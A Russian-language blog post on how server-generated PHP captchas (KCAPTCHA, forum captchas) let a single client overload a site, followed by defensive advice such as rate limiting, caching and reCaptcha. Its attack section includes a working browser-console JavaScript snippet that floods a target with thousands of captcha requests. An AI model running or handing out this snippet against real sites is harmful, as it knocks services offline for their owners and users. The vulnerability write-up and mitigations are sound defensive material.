DoS-атака на сайты с собственными капчами из песочницы
Информационная безопасность*
Можно найти достаточно много сайтов, которые защищены от разного рода внешней нежелательной автоматической активности (ботов) при помощи капч. Причем во многих случаях генерированием этих самых капч занимается тот же сервер, на котором и расположен сайт. Прикрутить такую капчу на сайт очень просто, да и есть бесплатные капча-генерирующие библиотеки (KCAPTCHA, например).
В чем опасность?
Если есть вероятность, что у вашего сайта появятся недруги (например, вы — владелец wwwpiratepay.ru), то, используя такую капчу, вы рискуете им сильно помочь — становится очень легко вывести сайт из строя используя даже один клиентский компьютер.
Почему?
Генерация капчи — дело довольно ресурсоемкое, особенно если учесть, что этим занимается PHP (или другой не очень приспособленный для обработки изображений язык).
Например в упомянутой выше KCAPTCHA картинка собирается из фрагментов заранее растеризованного шрифта (который хранится в виде картинки), например:
Всего таких файлов шрифтов несколько (в стандартной «поставке» — 22), при каждом запросе просматривается директория и выбирается один из файлов случайным образом.
После склеивания случайно выбранных символов происходит их искажение. В данном случае используется фильтр wave distortion (волновое искажение), написанный на PHP + GD2.
for($x=0;$x<$width;$x++){
for($y=0;$y<$height;$y++){
$sx=$x+(sin($x*$rand1+$rand5)+sin($y*$rand3+$rand6))*$rand9-$width/2+$center+1;
$sy=$y+(sin($x*$rand2+$rand7)+sin($y*$rand4+$rand8))*$rand10;
if($sx<0 || $sy<0 || $sx>=$width-1 || $sy>=$height-1){
continue;
}else{
$color=imagecolorat($img, $sx, $sy) & 0xFF;
$color_x=imagecolorat($img, $sx+1, $sy) & 0xFF;
$color_y=imagecolorat($img, $sx, $sy+1) & 0xFF;
$color_xy=imagecolorat($img, $sx+1, $sy+1) & 0xFF;
}
/* ... */
imagesetpixel($img2, $x, $y, imagecolorallocate($img2, $newred, $newgreen, $newblue));
}
}
Т.е. все это происходит довольно медленно. Никакого кэширования по умолчанию не предусмотрено. Тоже самое касается и многих других библиотек (включая «форумные»: phpBB, vBulletin и т.п.)
Если запросов на генерацию капчи будет приходить много, то сервер не будет успевать рисовать капчи и отдавать обыкновенные страницы (особенно учитывая то, что чаще всего сайт работает на какой-либо CMS и кэширование по разным причинам выключено).
Атака
В простейшем случае достаточно в любимом браузере перейти на сайт (чтобы на всякий случай referer был правильный), открыть отладчик javascript и написать в консоль что-то вроде:
cnt = document.getElementById('content'); /* любой элемент с id */
regen = function() {
var html = '';
for (var i = 0; i < 1000; i++) {
html +=
'<img src="http://www.somesite.com/kcaptcha/index.php?' /*источник капчи */
+ Math.random() + '" />';
}
cnt.innerHTML = html;
};
window.setInterval(regen, 10 * 1000);
regen();
/* следующее — просто украшательство, для того, чтобы постоянно видеть низ страницы */
window.setInterval('window.scrollTo(0, document.body.scrollHeight);', 500);
В итоге мы задаром получили многопоточную загрузку бесконечного количества капч (с их генерацией на бедном сервере). Понятно, что не каждый сервер это выдержит, многие (из добровольно проверенных) вываливаются с HTTP Error 503 Service unavailable.
Вывод
Для предотвращения такого рода атаки есть несколько очевидных способов:
используйте reCaptcha
проверяйте количество запросов капч с каждого IP-ардеса, с одинаковым идентификатором сессии и т.п.
держите определенное количество сгенерированных капч в кэше (100, 1000,… — зависит от количества запросов), отдавайте их через что-то быстрое (nginx), периодически перестраивайте кэш
используйте надежные текстовые капчи, желательно учитывающие специфику вашего сайта (например, sin(30°) = ...)
ваш вариант
P.S. не используйте «форумные» капчи вообще, т.к. они очень слабые — заменяйте их на reCaptcha; если используете текстовые капчи, убедитесь, что количество вариантов достаточно большое.